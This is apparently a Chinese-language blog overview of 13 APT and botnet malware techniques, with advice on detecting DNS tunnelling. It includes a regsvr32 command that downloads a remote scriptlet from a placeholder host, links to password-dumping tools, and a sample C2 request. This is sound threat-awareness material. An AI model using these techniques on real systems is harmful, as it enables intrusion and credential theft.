13個 APT C&C殭屍病毒主要運用的技術與防偵測技巧
這篇文章主要分析2017主要整理APT與C&C殭屍病毒真實個案中
運用的一些技術與防偵測技巧, 包含下列議題:
- PowerShell 已經慢慢成為病毒執行與下載的主要工具之一,
- 許多開源PowerShell 範例可用來注入攻擊, 下載, 上傳秘密文件等
- regsvr32.exe也被運用成為 downloader
- 逃避偵測的方式透過 GoogleDrive, DNS tunnel, fileless downloader, PS混碼, Office文件, Registry Key儲存
常見APT C&C病毒感染過程
- 使用者收到郵件下載 office 文件並且開啟
- Office 文件執行透過漏洞或是巨集執行 Script
- 該Script 下載額外的病毒碼
- 病毒碼執行搜尋其他電腦或是有利資訊
- 病毒碼種植以便下次重開機得以執行
- 命毒碼執行並且透過 DNS tunnel 與殭屍網路連線
病毒技巧1. : 利用regsvr32.exe 下載 SCT ( Windows Script Component )
這個技巧主要是透過 WORD 中的巨集腳本執行下列指令
指令: regsvr32.exe /u /s /i:http://<malware>/malware.sct
這個指令利用 regsvr32.exe 下載遠端的 SCT
病毒技巧2. : 利用 WScript 執行powerShell
這個技巧主要運用 WSScript 來執行 PowerShell 腳本
技巧3: 不需要powershell.exe執行權限也可以執行PowerSell
由於 PowerShell 執行需要權限, 因此開源工具 PowerShdll提供 EXE 與DLL 模式,
如此一來主要佈署該工具 PowerShdll 就可以執行 PS
但是缺點是該工具的下載就很容易被防毒軟體偵測
技巧4: 擷取Windows 密碼
如何竊取電腦密碼呢? 參考這兩個開源程式範例
- https://github.com/clymb3r/Misc-Windows-Hacking/tree/master/HookPasswordChange
- http://www.oxid.it/downloads/vaultdump.txt
技巧5: PowerSell 攻擊武器庫
技巧6: PowerSell 混碼
技巧7 : Office文件逃避程式碼偵測方式
技巧8 : 利用GoogleDrive or DropBox來儲存偷走資訊
由於 HTTP訪問這些雲儲存網站不容易被防火牆或是威脅分析警示
因此黑客運用這些雲儲存網站儲存病毒設定檔, 或是將竊取的資訊往上傳至這些網站
技巧9: 隨機或是加密過的 HTTP 參數
受感染的電腦如何與遠端殭屍電腦溝通呢?
舉例來說: 透過 HTTP 加密過的參數或是 cookie 進行溝通
GET /X4iBJjp/MtD1xyoJMQ.htm HTTP/1.1 Cookie: uHa5=kXFGd3JqQHMfnMbi9mFZAJHCGja0ZLs%3D;KQ=yt%2Fe(omitted) Accept: */* Accept-Encoding: gzip, deflate User-Agent: [user agent] Host: [host name] Connection: Keep-Alive Cache-Control: no-cache |
技巧9 : 反病毒偵測檢查
- 檢查 Debugger 是否存在
- 檢查是否執行在虛擬機環境, 避免被沙箱環境偵測
- 檢查 ProcessExplorer是否執行
- 檢查WireShark 工具是否正在執行, 避免網路溝通封包被截取
技巧 10 : 利用 free web hosting sites
技巧11 Reflective DLL Injection
技巧12: 不留檔案的 Downloader
下列這張圖說明當受害者收到郵件打開文件之後, 接下來該病毒如何與遠端電腦下載並且溝通
透過下列技巧盡量不在受害者電腦留下檔案, 以避免防毒偵測
- 方法一: 將PowerShell code 儲存在 registry key 中
- 方法二: 透過 regsvr32 下載COM scriptlet
- 方法三:透過 JavaScript 下載Cobalt Strike Beacon
真實個案如下圖:
技巧13 DNS Tunneling
透過 DNS Protocol 傳輸殭屍網路的指令, 並且將病毒DNS指向 Google and OpenDNS DNS servers
將指令傳輸隱藏在該傳輸中
DNS tunel 有哪些工具技術可以利用?
由於 DNS Query 為 google or openDNS因此無法單存藉由DNS 訪問目的地偵測
這類的DNS Tunnel攻擊方式必須額外靠智能分析的方式, 例如
- 每次DNS 查詢是否超過 64字元, 殭屍網路的DNS 查詢相對會比較大
- DNS TXT 數量
- DNS訪問中, 對於特定來源的訪問題, 這必須靠 SIEM 將所有的DNS 訪問比對統計分析
- DNSTrap 分析 LLD 也就是 DNS 訪問 Domain 的字元關係
https://www.sans.org/reading-room/whitepapers/dns/detecting-dns-tunneling-34152